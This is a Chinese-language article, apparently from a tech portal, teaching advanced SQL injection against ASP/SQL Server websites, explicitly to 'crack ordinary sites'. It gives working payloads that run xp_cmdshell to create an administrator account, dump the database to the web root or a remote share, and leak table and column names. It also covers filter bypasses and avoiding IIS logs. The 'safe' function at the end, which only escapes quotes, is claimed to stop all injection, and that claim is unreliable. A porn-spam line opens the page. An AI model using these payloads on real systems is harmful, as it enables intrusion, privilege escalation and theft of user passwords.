自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

SQL注入攻擊三部曲之高級篇

安全 黑客攻防
看完入門篇和進階篇后,稍加練習,破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

經(jīng)過了入門篇進階篇的學習,相信諸位想要破解一般的網(wǎng)站是沒有什么問題了,但是先別得意。正所謂學海無涯,技術的進步也是沒有止境的。SQL注入是一個看起來簡單,但是變數(shù)很多的過程。接下來的高級篇讓我們更加深入地探討SQL注入問題。

第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

SQL Server是一個功能強大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權限!當然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權限調(diào)用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。

④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

這是相當狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網(wǎng)絡地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。

第二節(jié)、繞過程序限制繼續(xù)注入

在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數(shù),達到繞過程序限制的目的。

在“SQL注入的一般步驟”一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:

簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

第三節(jié)、經(jīng)驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到字段名時,不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。

防范方法

SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數(shù)忘記檢查導致。在這里,我給大家一個函數(shù),代替ASP中的Request函數(shù),可以對一切的SQL注入Say NO,函數(shù)如下:
 

  1. Function SafeRequest(ParaName,ParaType)   
  2.  '--- 傳入?yún)?shù) ---   
  3.  'ParaName:參數(shù)名稱-字符型   
  4.  'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)   
  5.  
  6.  Dim ParaValue   
  7.  ParaValue=Request(ParaName)   
  8.  If ParaType=1 then   
  9.   If not isNumeric(ParaValue) then   
  10.    Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"   
  11.    Response.end   
  12.   End if   
  13.  Else   
  14.   ParaValue=replace(ParaValue,"'","''")   
  15.  End if   
  16.  SafeRequest=ParaValue   
  17. End function  

 

【編輯推薦】

  1. 防止SQL注入攻擊:網(wǎng)絡管理員的前景展望
  2. ScanSafe:近期3波SQL注入攻擊100萬中國網(wǎng)站
  3. 圖文詳解網(wǎng)站SQL注入攻擊解決全過程
  4. 有效預防SQL注入攻擊的六脈神劍
  5. 防止SQL注入攻擊:網(wǎng)絡管理員的前景展望

     

     
責任編輯:張啟峰 來源: 安全在線
相關推薦

2009-09-14 09:04:17

CCNA考試CCNA

2011-03-25 09:56:40

Nagios 安裝

2010-07-17 01:12:31

Telnet服務

2010-09-26 14:39:40

DHCP故障分析

2011-03-09 09:30:52

Mina

2022-10-10 09:10:51

家庭網(wǎng)絡網(wǎng)絡

2011-03-21 09:22:46

Tomcat

2013-06-28 09:35:04

Hypervisor虛擬化成本

2010-09-06 09:22:26

CSS語法

2012-09-10 16:19:00

云計算公共云

2015-05-12 10:42:53

程序員代碼

2017-02-07 14:50:39

華為

2017-04-11 09:07:20

互聯(lián)網(wǎng)

2009-12-14 14:54:58

2011-08-29 16:26:50

魔獸世界LUA

2010-05-12 10:51:06

2011-08-03 10:33:05

網(wǎng)絡管理網(wǎng)絡拓撲管理

2019-03-28 14:45:33

數(shù)據(jù)安全數(shù)據(jù)泄露信息安全

2013-12-27 13:05:56

搜狗網(wǎng)址導航

2018-03-19 09:35:37

人工智能
點贊
收藏

51CTO技術棧公眾號